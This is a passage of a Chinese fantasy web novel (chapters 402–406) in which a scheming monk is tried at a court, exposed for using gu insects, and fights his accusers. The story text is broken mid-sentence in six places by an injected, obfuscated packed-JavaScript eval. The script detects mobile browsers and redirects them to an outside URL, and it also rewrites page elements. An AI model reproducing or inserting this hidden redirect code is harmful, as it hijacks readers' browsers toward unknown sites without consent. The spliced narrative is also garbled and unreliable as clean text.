“方才大伙儿都是有目共睹的,我儿子偷偷跟着马车来王都大吵大闹,这本是我们的家务事,私下处理便是,可我儿却忽然行为癫狂,情状疯癫,身上冒出虫子。” “紧接着,天问大师就到了,看也不看便动手除虫,然后就说我们是妖物,这一切,怎么都是他说了算?” 斜晲了天问大师一眼,叶晚竹越发大声,“此人一直对我们图谋不轨,从万源便开始了,慕相,民女十分怀疑,今天这一出是他的自导自演!” 此话一出,天问大师的脸色又变得黑沉了下去。 “慕相,休要听这妖女胡言乱语,”他皱起眉头,“此女与天降异象有关,定是妖物!” “什么天降异象?大师可有证据?”慕相这时候慢悠悠地掀起眼皮问了一句。 天问大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225008|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师的话又是一哽。 “大师,你应该知道得很清楚,无论是蛊术,还是妖法,在本相心里,都没有证据有用。” 背着双手,慕丞相又说出了另外一句让天问大师的眉头皱得更紧的话。 慕家向来是和法术之事不沾上任何干系的,从前的国师和蛊术师是如此,眼下的天问大师,也是如此。 “我们有证据!” 岑灵川这时候双眼一亮,“我们这儿有天问秃驴**的人证——呃,就是不在这儿。” 谢无咎的影卫们是分批前来的,影四被抓走后经历了一番酷刑,伤势还没恢复,跟在后一辆马车里,找了个客栈暂且安顿着。 岑灵川依旧把影四收到镖局里,大概给慕丞相一说,后者便招手让跟在身边的随从去办差。 “把人接出来,先送到大理寺去吧。” 南疆和大梁也有交好的岁月,那时候南疆使团去大梁考察,将京城的这一套说法全都搬回王都,又沿袭了下来。 随从应了一声就要离开,天问大师却出声拦人,“且慢!” “怎么了大师?” 慕丞相一转头,语气微微沉下几分,通身的气势顿时就显现了出来。 天问大师攥了攥拳头,“为何要把人送去大理寺?” “你们双方各执一词,谁也辩不倒谁,与其这般耽搁功夫,倒不如去公堂之上,查个清清楚楚。” 慕丞相老神在在地背着手,目光又朝着院中已经干涸的血迹看去。 “况且,这妖物到底是怎么回事,也需要好生调查一番。” “来人!”他朝着院外扬声,“把所有与此事有关的人都带回大理寺,检查这处宅子,暂时封了,任何人不得进出。” 慕丞相一语落下,一队官差顿时小跑着进到院中,要将叶晚竹等人带走。 叶晚竹和谢无咎带头配合,余下几人也一个接一个地跟着往外走。 天问大师却站在当场不动,“慕相,贫僧也要前去?” “怎么,大师难道觉得自己与此事无关?” 第四百零二章 大理寺见 慕丞相仍是不疾不徐地问了一句,听着他的话,天问大师的表情变得越发乌沉沉的。 他不是与此事无关,只是他现在身为南疆王的幕僚,怎么能和平民百姓一样,被抓到大理寺去问话审案? “我要见王上。” 挺直了身子,天问大师的语气压低了几分。 “慕相,贫僧是王上亲封的帝师,你无权对贫僧做出这样的事情。” 慕丞相背着双手,目光从天问大师身上一扫而过。 “王上若是知道有人借着自己的名号擅闯民宅,又对着无辜的孩童痛下毒手,一定也会收回成命,斩了这有罪之人的脑袋。” 他不提名字,天问大师的脸却又变得青一阵白一阵的。 “这是无稽之谈!”天问大师重重地强调着。 “那就请大师随本相到大理寺去,”慕丞相的情绪没有太多波动,“把一切都查个清清楚楚,也是为了大师的名声着想。” 天问大师忍不住咬紧牙关,愤恨地望着八风不动的慕丞相。 这老狐狸! “诶呦,我们大义凛然,为民除害的天问大师怎么不说话了?” 有这忽然的一出,叶晚竹等人还没离开院子便停下了脚步,岑灵川转头看着天问大师的脸色,阴阳怪气地笑了起来。 “大师啊,你不会是……心虚吧?” “怪不得不敢去大理寺。”叶晚竹跟着补上一句。 天问大师深吸一口气,望着眼前几人,强行让自己的脸色恢复正常。 事已至此,不走这一趟怕是说不过去了。 “贫僧行得端坐得直,自然不会怕你们这些妖物的污蔑!” 把袍袖一甩,天问大师顿时又成了高人一位。 “贫僧与你们同去便是了,不过慕相,请恕贫僧无礼,这些妖物心怀叵测,危险得很,为保不出意外,这些僧人要随着一同前去。”他傲然朝着慕丞相道。 慕丞相依旧是浅浅一笑,“无妨,大师请吧。” 在众官差的开路之下,很快,一行人便来到了公堂之上。 这个时候,消息已经传遍了大半个王都,听说天问大师竟然要被带到大理寺问话,不少人都提前赶到,挤在宽敞的公堂大门外,等着看热闹。 天问大师从马车上下来,抬头望了望公堂的匾额,目光探进院落,逡巡一番,却忽然顿住了。 这里面的人…… “大师?怎么不走了?” 叶晚竹从后一辆马车上下来,看着面前这个略显僵硬的背影,明显是有些不快。 天问秃驴不快,她就快乐。 “这里没有您看得过眼的东西?”她抱着双臂走到天问大师身边,“需要找点怪物,给您安安心?” 天问大师的神情又暗下两分。 他也知道这王都的官场之中,大半都和慕家有着千丝万缕的联系。 除了慕家本身的子弟,还有不少身居高位的官员,也和慕家保持着良好的往来。 这并不利于自己掌控朝廷大事,从亮相开始,天问大师便一直在暗中着手处理,将这些重要的位置换上自己的人手。 大理寺便是其中之一。 大理寺卿冯大人曾经是慕丞相的门生,刚刚被他用莫须有的罪名**,又被南疆王下旨禁闭在府中。 可眼下,那端坐堂上,已经准备就绪的,不是冯大人还能是谁? 等天问大师再多看两眼,发现自己安**大理寺的人手,从官员到差役,全都消失得无影无踪,他的眉头顿时皱得更紧了。 慕丞相这个老狐狸,他是有备而来! “大师,请进吧?” 慕丞相这时候笑吟吟地走到天问大师身边,朝公堂上一指。 叶晚竹等人已经全部准备就绪,天问大师的嘴角绷紧一瞬,想说什么,最后还是一甩袖子,大步走了过去。 他脚下虚浮,到底还是显示出了几分心浮气躁。 众人都看不到的地方,慕丞相的神情忽然有了一瞬的冷厉。 论摆弄妖术,耍勇斗狠,他或许敌不过天问大师,可这秃驴若是想染指朝堂,那就让他知道知道厉害! 飞快地收敛了情绪,慕丞相重新端起沉稳态度,最后一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227773|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走进堂中。 他虽然是丞相,但却无意越权插手审案一事,只旁听着冯大人主理。 方才在邵威家院中发生的事情,已经有官差提前回来报告过了,冯大人又各自听了一遍叶晚竹和天问大师的话,思忖片刻,拍了拍惊堂木。 “那个叫萧延的孩子,是从什么地方来的?有没有人看到过?” 事发之时是清晨,王都的城门刚刚打开,萧延一个幼童,是怎么穿过道道检查,从城外混进王都的? 虽然有不少证词都说他是跟着邵家的马车而来,冯大人却摇头。 “若是这般,一个小孩,怎么可能跑得过马车,还先一步进到邵家?这件事有蹊跷。” “把今日负责在城门前盘问的人都叫来,本官要问话。” 天问大师忽然掀起了眼皮。 城门前原本也有他的人,可叶晚竹等人进城的时候闹了那么一场乱子,他的手下被惊马踩断了几根肋骨,这会儿还没清醒过来呢! 思绪至此,天问大师越发觉得这是一场精心准备好的阴谋了。 他抿着嘴看向坐在一旁的慕丞相,眼底全是乌沉沉的杀意! 这是专门为他设下的局! “大师?您这是什么眼神?” 谢无咎背着双手,忽然不高不低地问了一句,瞬间就将公堂上众人的目光全都吸引到了天问大师脸上。 他话说得猝不及防,天问大师没来得及调整情绪,那无比难看的神情便被所有人看了个正着! “诶呀,大师莫不是阴谋被揭穿了,想**灭口吧?” 叶晚竹凉凉地斜晲过去,“就像你要杀我儿子那样,这个公堂里,下一个要变成妖怪的人会是谁?” 天问大师的双臂都跟着哆嗦了一下,是被气的。 叶晚竹满意地看着眼前的这幅场景。 一只阴沟里的臭虫,在暗处咬人或许能得到些好处,一旦暴露在大庭广众之下,就是这么上不了台面。 “冯大人!” 一道喊声忽然从外面传来。 “属下等找到一个目击证人!” 第四百零三章 目击证人? 目击证人? 听见这话,就连正一身杀气的天问大师都愣了愣。 目击了什么? 下意识地,天问大师又朝着慕丞相看了一眼,却见这位的神情也带着惊疑。 “把人带上来!”冯大人显然也有相同的疑惑,出声的速度很快。 两个官差带着一个身穿布衣的女子快步走进公堂。 “你是何人,又要给什么作证?一一道来,不得有丝毫隐瞒!” 冯大人还是一贯的铁面无私,这女子跪在地上连连应着,而后便朗声开了口。 “大人在上,民女姓陈,在东街上摆小吃摊谋生,平日里生意不错,大家都喜欢在民女这里吃小吃。” 陈姑娘的袖子上都是油渍,身上也带着一股经年累月做饭的香味,可见所言非虚。 “你继续说。”冯大人点了点头。 “东街里面住着几位贵人,不方便出行,便让民女将早饭送往府中,民女想着还能挣些打赏便同意了。” “今天早上,民女刚把早饭送去,要往摊子上赶的时候,路过了一户人家,忽然听见里面传来了孩童的哭声。” “这条路民女天天都走,知道那处宅子空置已久,根本没有人住,这会儿忽然传出哭声,听着还,还十分凄厉!” “民女担心是不是有歹徒偷了谁家的孩子,却又不敢进去,只能偷偷趴在外面,想听他们要去哪里,再来报官。” “谁知道,谁知道……” 话说到这儿,陈姑娘忽然哆嗦了起来,眼中也闪过了极其畏惧的神色。 她下意识地朝着天问大师的方向扫了一眼。 众人的目光也跟着她往那边晃。 天问大师皱着眉头,神情阴鸷,看上去好像随时都能暴起伤人。 陈姑娘飞快地转开目光,哆嗦得更厉害了。 “你有话放心大胆地说来,不必担心。” 上座,慕丞相震声开口,语气沉静,让人一听便感觉放心。 “若是有人敢打击报复,本相必定追究到底!”他又冷冷地添上一句。 陈姑娘的脸色也变好了几分,咽了咽口水,下定决心般地一握拳。 “民女听到那宅子里有好几个人,好像是在一起折磨那孩子,不知道给他吃了什么东西,那孩子又喊又哭,说自己全身都疼,对方也无动于衷。” “那孩子哭得实在可怜,民女听不下去,想快些回大街上,找个人来帮忙,又忽然听见里面的声音全都消失了。” “然后有个声音说,‘准备好了,就把他送到棉花巷去吧’,里面的人便张罗着要出来,民女不敢再留,赶紧逃跑了。” “最后说话的那个声音……和天问大师的一模一样。” 怯怯地抬头看着冯大人和慕丞相,陈姑娘揪着衣角,急促地小口呼吸着。 众人闻言也是一片哗然! 棉花巷,那不就是邵家所在的巷子吗? 再想想这姑娘说那孩子全身都疼,不少从邵家跟过来的邻居们,这会儿都想起了那孩子忽然发作时候的模样。 全身有虫子在爬,能不疼吗? “秃驴,你对我大外甥做了什么!” 谢无咎竖起眉头,语气十分激烈,“你好狠毒的心!” “一派胡言!一派胡言!” 天问大师的脸色这会儿已经变得铁青,是被眼前的陈姑娘气的。 什么东街的废弃宅子,什么灌药灌得全身都疼! 都是胡说八道! 德慧三天前就抵达了王都,一直在他的府上休养,他出现在邵家之前都干了什么,自己能不知道吗? 这又是慕丞相找来诬陷他的伪证! “天问大师,你作何解释?”偏偏慕丞相又在这时开了口。 天问大师的表情难看到不能再难看了。 “她说的事情,贫僧没做过!”他拧着眉头,又竭力让自己保持冷静。 “定是这妖物蛊惑人心!”他定定地望着叶晚竹一行。 叶晚竹扯了扯嘴角,皮笑肉不笑地望着他。 “大师,你是不是有失心疯?”她双手一摊,“我们今天清晨才抵达王都,刚回到邵家,就被你设计陷害,根本就没去过什么东街。” “这位陈姑娘也是刚刚才见到的,如果我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227774|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是什么妖物,能当众迷惑陈姑娘替我说话,而不被其他人发现,那我为什么不一劳永逸,直接对冯大人下手,让他判你个五马分尸呢?” “你!” 天问大师喘着粗气,得道高僧的模样顿时又添了几条裂痕。 “我什么?我也是一派胡言?”叶晚竹又冷笑着,“既然如此,那就请大师拿出证据,证明陈姑娘是被我买通的好了。” “就是!”邵威也喊了起来,“我们说的话都是假的,就大师你一个人说话在理,你说现在是晚上,我们也得马上倒头睡觉是吧?简直荒谬!” 天问大师更是气得直哆嗦。 叶晚竹冷冰冰地看着这位渐渐维持不住自己外壳的狼狈模样。 想正大光明地站在人前,那就得做些正大光明的事情。 天问秃驴不希望自己那一窝妖魔鬼怪被发现,当着众人,他就不能太过放肆。 如此一来,便只能被他们牵着鼻子走了。 叶晚竹嘴角的笑意越发真情实感。 这种憋屈的滋味,不知道天问秃驴体会得如何? 公堂上氛围阴沉,几方正僵持不下,这个时候,方才去城门口带人的官差们回来了。 跟在他们身后的,是王都四处城门负责守城的将领。 将领们还带来了入城的记录册子,厚厚的四大本往桌上一放,看着就让人头晕目眩。 冯大人将大理寺中无事的大人们都用上了,围着桌案翻了大半个早上,只找到叶晚竹等人的马车进城的记录。 那册子上写得十分详细,车中一共五人,并没有孩童跟随。 其他几本册子中也没有一个叫萧延的孩子入城的记录,也就是说,他并不是今天抵达王都的。 “是你提前将人抓来,又等着我们今天入城,好演这出戏的吧?” 邵威这会儿彻底缓了过来,方才差点儿被掐死的阴霾之下,他领了叶晚竹的眼色演戏,也带着不少真情实感。 “你这个畜生!对如此无辜的孩子都能下手!” 天问大师的脸色变得更差,一语不发,将双手背在身后,往袖管中摸索起来—— 第四百零四章 王上驾到 “你要干什么?” 岑灵川眼疾手快,一把冲上去扭住了天问大师的手腕,猛地把他拽了起来! 天问大师的掌心却是空空如也。 “怎么,贫僧连背手的动作都不能做了吗?” 冷冷地抽回自己的胳膊,天问大师的语气十分不悦。 “就算贫僧是真的犯人,你们待我也不能如此苛刻吧?还是说,慕丞相的爱民如子,只是做做样子?” 岑灵川险些气歪了鼻子,“你这死秃驴——” “咳。” 谢无咎一声轻咳,岑灵川到了嘴边的话顿时又停住了。 这种地方,还是让谢无咎这等习惯在朝堂上来往的人发挥比较好! “哼!”于是岑灵川重重地朝着天问大师瞪了一眼,也没忘记自己的人设,“我就是个粗人,看不惯你这种假惺惺的臭德行而已!跟别人没关系!” 天问大师暗中咬紧了牙关,不发一言。 “天问大师。” 他不说话,坐在上面的冯大人却开口了。 “你方才说,这些指控都是子虚乌有?” “不错。” 天问大师转过身子,神情变得平静了一些。 “这些事情,我一样都没有做过,截止到我前往邵家之前,贫僧一直都在自己的府邸之中,并未离开。” 他这句说的,真的是实话! “可有什么证据?”冯大人继续发问。 “全府的下人都能替贫僧作证。”天问大师说着话,语气也越发自如。 他今天的的确确没离开过自己的府邸,就算是这些作伪证的人说破大天,也奈何他不得! “哦?” 冯大人的表情却变得古怪起来。 “大师确定?” 这是什么意思? 天问大师的眉头忽然皱了皱,抬眼望去,冯大人面若平湖,什么情绪都分辨不出来。 迟疑片刻,他还是挺起胸膛,“贫僧确定。” “那就请大师解释一下,为什么这个东西,会出现在陈姑娘所说的宅子里吧。、” 冯大人缓缓举起一个瓷瓶,从颜色到模样,再到大小,都让曾经在邵家门前看过热闹的邻居们十分眼熟。 这正是天问大师除虫的时候手里拿着的小瓷瓶! 天问大师的表情也在看清冯大人手里东西的时候,猛地变得错愕! 他下意识地伸手往自己袖中摸了一下。 这东西怎么可能出现在外面? “大师啊。” 慕丞相这时候也开了口。 “若是本相没看错,这种瓷瓶,应该是您和您手下的僧人特用的东西吧?” 南疆王出现在人前的时候,天问大师还专程演了场戏,当着所有人的面儿替王上解毒,那个时候,他手里拿的就是这种瓷瓶。 这瓶子是特制的,里面装的向来是蛊虫,天问大师和手下之人一般是不会让这瓶子离身的。 现在怎么会落到冯大人手中? “大师可否解释一下?”冯大人又开口了,“据我所知,大师宣称这瓷瓶只存放在你们手中啊。” 天问大师的呼吸顿时又变得粗重了几分。 “这定是有人栽赃嫁祸。”他干巴巴地道。 叶晚竹又发出一声嗤笑。 “大师的意思是说,有人偷偷溜进你那固若金汤的府邸,偷走了你们随身携带的瓷瓶,还能不被发现?” 那这贼人的身手未免也太厉害了。 天问大师直直望着叶晚竹,“说不定,这个贼人就在这里呢?” 除了叶晚竹一行人,这个王都里,还有谁敢这么做? “大师真是秃头多忘事,”谢无咎啧了一声,“我们哪里有时间?冯大人在认真查案,大师你在祸水东引,诶呀呀……真是高下立现呐。” 天问大师又深吸了一口气,“你——” “大师!” 慕丞相这时候又开了口,比起先前那几次,他的语气开始严厉起来。 “你还是先回答冯大人的问题为好。” 天问大师闻言咬了咬牙,心里也越发急迫。 蛊虫已经放出去了这么久,怎么还没有消息传来? “天问大师?” 他迟迟不语,慕丞相的语气也越发冷凝,“你是回答不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227775|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吗?” 伴随着这句话,大理寺的差役们神情一凛,纷纷握紧了手中的长棍,蓄势待发地盯着天问大师。 一同动作起来的还有谢无咎和岑灵川,虽然脚下还站在原处,可两双眼睛却已经直勾勾地落在了场中的秃头身上,防着他忽然发作。 冯大人咽了咽口水,被这莫名紧张的气氛搅得心下发颤,又下意识地把惊堂木狠狠一拍! “大师!莫要负隅顽抗!老老实实地交代实情!” 他霍然起身,差役们也跟着猛地上前一步,将天问大师团团包围起来。 “你们要干什么?” “不许对大师不敬!” “放下武器!” 院中的那些僧人们看着这情形纷纷忍不住了,大喊着要冲上公堂,却又被站在堂下,手执**的官差用力挡住。 “强闯公堂,尔等要**不成!”慕丞相一声大喝,宛如惊雷一般,“好大的胆子!天问大师,这就是你的手下?” 天问大师阴沉沉地压低眉眼,目光四下扫视,心中已经涌起了无尽的杀意。 都是为了那点名声,否则,他何必要和这些肉体凡胎在这里纠缠不休? 左右这些人不识好歹,干脆让他们知道厉害—— “王上驾到!” 杀心正浓,天问大师已经做好了出手的准备,大街上却忽然传来一道嘹亮的喊声! 天问大师闻言一愣,随即立刻收了手里的蛊虫。 到底还是把时间拖延够了。 百姓们则是长长地倒吸一口冷气。 谁来了? 王上? 南疆王的御驾来得很快,一眨眼就出现在大理寺门前。 宫中侍卫撵走门前的百姓,开出一条大道,南疆王坐着软轿,畅通无阻地进到了院中。 一眼看见院里乱成一团的模样,他便怒喝一声,“放肆!还不分开?” 打得正酣的官差和僧人们只能纷纷后退,又跪倒在地见礼。 南疆王对此视而不见,只紧紧皱着眉头朝公堂之中看去。 “慕相这是什么意思?摆出如此大的阵仗,为难大师作何?” 第四百零五章 证据确凿,还敢狡辩? 南疆王的声音带着不容置疑的威严,目光如炬地扫过公堂内外的混乱景象。 僧人们见他到来,如同见了救星,纷纷高呼“王上圣明”,而官差们则屏息凝神,不敢再有动作。 慕丞相上前一步,躬身行礼,语气却依旧坚定。 “王上,此案涉及多条人命与百姓安危,臣等只是依法审讯,并非有意为难大师。” “依法审讯?” 南疆王冷哼一声,目光落在天问大师身上。 “大师乃国之重臣,为南疆祈福除灾,劳苦功高。岂能因几句无凭无据的指控便如此对待?” 天问大师适时露出几分委屈与隐忍,双手合十道,“贫僧谢王上体是,今日之事,是有人刻意构陷,贫僧问心无愧。” 谢无咎与岑灵川交换了一个眼神,心中暗骂这秃驴演技精湛,叶晚竹则冷眼旁观,抬眼朝着院外扫了一下。 “构陷?”南疆王挑眉,“慕相,你可有确凿证据?” 冯大人连忙举起瓷瓶。 “王上,此物是在案发现场寻获,确为天问大师惯用的蛊瓶。大师方才声称终日未离府邸,此物却出现在东街的废旧宅子里,实在蹊跷。” 南疆王瞥了一眼瓷瓶,语气很淡。 “一个瓶子能说明什么?若是有人蓄意模仿大师所用之物,或是偷盗栽赃,也未可知。” “哦?” 闻言,谢无咎忽然扬起声音。 “若是照王上的说法,那陈姑娘在东街宅子里听到的天问大师的声音,一定也是贼人故意模仿而成的咯?” 他抱起双臂,眉头也皱起几分,啧啧有声地摇着脑袋。 “那可就大事不妙了啊,王上,您这王都之中,定是有居心叵测之人,暗中模仿天问大师的一举一动,再屡屡行凶,意在嫁祸天问大师!” “如此危急的情况,王上可要详加调查,最好将整个王都封锁,不查个清清楚楚的话,岂不是要放任这帮凶徒继续为祸四方?到时候,王都的百姓们是应该把这个罪名算到天问大师的头上,还是不算呢?” 南疆王眉头紧锁,天问大师的脸色也微微一变。 慕丞相趁机上前,“王上,此案已激起民愤,若不能彻查,只怕民心难安。” 南疆王沉默片刻,忽然看向天问大师。 “大师,你说终日未离府邸,可有人证?” “全府下人皆可作证。”天问大师答得毫不犹豫。 “那便传唤府中所有下人,一一问话。”南疆王下令,“若大师果真清白,朕自会还你公道;若有人诬告,朕也绝不轻饶!” 天问大师心中一沉。 他府中本该万无一失,但谢无咎等人诡计多端,难保不会出什么纰漏。 他正暗自思忖,叶晚竹忽然轻笑了一声。 “王上,何不顺便查查大师袖中现在藏着什么?方才他可是急着摸袖子呢。” 南疆王身子一顿,众人已经随着这话转头看了过去。 天问大师下意识地将手缩回袖中,这个细微的动作没能逃过众人的眼睛。 他抬眼飞快地朝着南疆王扫了一下。 “大——” “大师!” 眼见南疆王要张口,慕丞相忽然抬高声音,愣是截住了王上没说出来的话。 南疆王和天问大师本就是沆瀣一气,慕丞相看得分明,他径直沉声道,“还请大师打开衣袖。” 天问大师额角渗出细汗,忽然朗声道,“贫僧袖中乃是为民祈福所用圣物,不宜在公堂显露。” 岑灵川嗤笑一声,“什么圣物,这么见不得光?莫非……是害人的蛊虫不成?” 这话一出,满堂哗然。 便在此时,天问大师忽然感到袖中蛊瓶微震! 这是计划成功的信号! 他心中大喜,面上却故作悲愤。 “王上!贫僧一片忠心,今日竟受此侮辱!既如此,贫僧愿当场示出圣物,以证清白!” 他伸手入袖,众人屏息以待然而下一刻,天问大师脸色骤变—— 袖中蛊瓶竟然空空如也! 怎么回事? 天问大师又不信邪地晃了晃,里面依旧什么动静都没有传来,本该飞回复命的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235618|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛊虫不见踪影! “这、这不可能……”他脱口而出。 谢无咎眼中闪过笑意,与叶晚竹交换了一个心照不宣的眼神。 早已料到天问大师会暗中放出蛊虫做些什么,几人沿路便提前布下了拦截的陷阱。 “大师,怎么了?” 慕丞相背着双手,语气开始变得冷漠。 “不是要展示圣物吗?” 天问大师冷汗涔涔,支吾难言,正在此时,门外忽然传来一声凄厉的惨叫! 一个血人踉跄冲进公堂,猛地扑倒在地! “大师!不好了!蛊、蛊虫反噬……全**!兄弟们全**!” “你说什么?” 闻言,天问大师目眦欲裂,顿时再也顾不上公堂的这一切了。 他大步上前,一把揪住那个血人的衣领,用力将他从地上拽了起来,“怎么回事!” 血人挣扎着抬起头,露出半张被蛊虫啃噬得血肉模糊的脸。 “我们按计划埋伏在城外,等、等着接应蛊虫……”他每说一个字就有血沫从嘴角涌出,“可是那些虫子突然发狂……反过来攻击我们……” 天问大师踉跄后退半步,脸色惨白如纸。 他精心培育的蛊虫竟然全部反噬? 这怎么可能! 谢无咎忽然轻笑一声,“大师?您说的这些话是什么意思?我等怎么有些听不懂呢?” 公堂之外的百姓更是屏息凝神,齐齐望着天问大师和那个血人,目光各异。 这两位刚才所说的内容,无可辩驳,无可转圜! “王上!”慕丞相立即上前,“现在您可看明白了?天问大师不仅私养蛊虫,还暗中培养死士!若不是今日臣等一力追查,恐怕日后,这些蛊虫便会为祸王都!” “你胡说!”天问大师厉声反驳,却掩不住声音里的颤抖,“这分明是你们设下的圈套!” 岑灵川大步上前,一把扯开天问大师的僧袍! 只见他手臂上布满了密密麻麻的蛊虫纹路,有些还在微微蠕动! “证据确凿,还敢狡辩?” 第四百零六章 国师? 院外的百姓顿时哗然,先前维护僧人们的民众纷纷后退,脸上写满惊恐与愤怒。 “原来真是妖僧!” “请王上严惩!” “为死去的百姓报仇!” “……” 群情激奋,天问大师背在身后的双手用力攥成了拳头。 他在王都精心布下的局,叶晚竹等人刚一露面,就被破了! 此番大势已去,天问大师深吸一口气,忽然又朝着南疆王看了一眼。 原本还眉头紧皱,想开口喝止百姓的南疆王顿了一下,下一刻面色铁青,死死盯着天问大师。 “你……你竟敢欺瞒于朕!”他语气失望,还带着痛惜。 天问大师顺势狂笑一声,袖中猛地甩出一把毒粉! “小心!”叶晚竹早有防备,侧身躲过他的进攻。 谢无咎同时出手,剑光如电直取天问大师命门,岑灵川则护在慕丞相身前,拔刀警惕。 然而就在这时,天问大师突然咬破舌尖,朝着半空运气喷出一口血雾! “这是什么——” 血雾正对着岑灵川的方向,他被恶心得下意识向后仰身,同时见着血雾迅速凝聚成无数细小的蛊虫,朝着四面八方飞射而去! “保护王上!”慕丞相高喊一声。 差役们纷纷举起盾牌,却仍有几人被蛊虫击中,瞬间惨叫倒地。 混乱中,天问大师纵身跃起,眼看就要逃脱—— “想走?”谢无咎剑势一转,剑气如网般罩下。 突然,一道黑影从堂外疾射而入,硬生生接下谢无咎这一剑! 是个蒙面人,武功极高,护着天问大师后退两步,眼中冷光朝着院中的僧人们一扫。 “还不前来护卫?1” 僧人们顿时朝着这边围了上来,将两人牢牢包围其中。 “还有同党!” 岑灵川大喝一声,挥刀加入战局,公堂之上顿时刀光剑影,打得难分难解。 南疆王在侍卫护卫下退到安全处,脸色越发难看,他厉声大喝,“给朕拿下这些逆贼!生死不论!” 王令一下,更多侍卫涌入公堂,天问大师眼中闪过疯狂之色,突然从怀中掏出一个通体鲜红的瓷瓶。 “既然都不让我活,那就一起死吧!” 血色蛊瓶在天问大师手中骤然碎裂,一股腥臭的黑雾腾空而起,瞬间弥漫整个公堂。 “退后!是噬心蛊!” 谢无咎厉声警告,又飞身而起,却有些来不及了。 黑雾中传来凄厉的嘶鸣,无数细小的黑影如蝗虫般扑向众人,首当其冲的几个差役瞬间被黑雾吞噬,发出令人毛骨悚然的惨叫。 他们的皮肤以肉眼可见的速度溃烂,转眼间就化作一具具白骨! “退后!”谢无咎大喝一声,拂袖便是几道气劲扫出,将那黑雾打散。 岑灵川同时挥刀护在慕丞相身前,刀气形成一道屏障。 然而黑雾仿佛有生命一般,重新聚拢后直扑南疆王而去! “护驾!” 侍卫们拼死抵挡,却接连被黑雾吞噬,南疆王脸色惨白,连连后退,却已经显出了颓败之势。 千钧一发之际,慕丞相突然冲上前去,从怀中取出一枚玉符,高高举过头顶,又猛地捏碎。 一道青光骤然亮起,将黑雾暂时阻隔在外。 “这是……先王的护身符?” 青光之后,冯大人震惊地看着慕丞相手中的东西。 上一任南疆王修**蛊术多年,却不知为何在某一日忽然收手,又倾己所学炼制了这枚护身符,从此再不参与任何与蛊术有关之事。 这枚护身符应该随着先王葬在王陵才对,怎么会…… 惨淡的光芒之下,冯大人的脸色晦暗不明。 “现在不是解释的时候。” 慕丞相面色凝重,“天问大师修炼的是南疆禁术,万蛊噬心,寻常兵器对他无效!” 此时天问大师已经在蒙面人的护卫下退到院中,他狂笑三声,“现在才知道?晚了!今日就让你们全都成为我蛊虫的养料!” 黑雾闻言越发浓郁,青光屏障也开始出现裂痕。 叶晚竹忽然看向谢无咎,眼神淡淡,后者会意,从袖中取出一支碧玉笛子,吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235619|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一段奇特的旋律。 笛声响起时,黑雾中的蛊虫突然变得躁动不安,左突右撞。 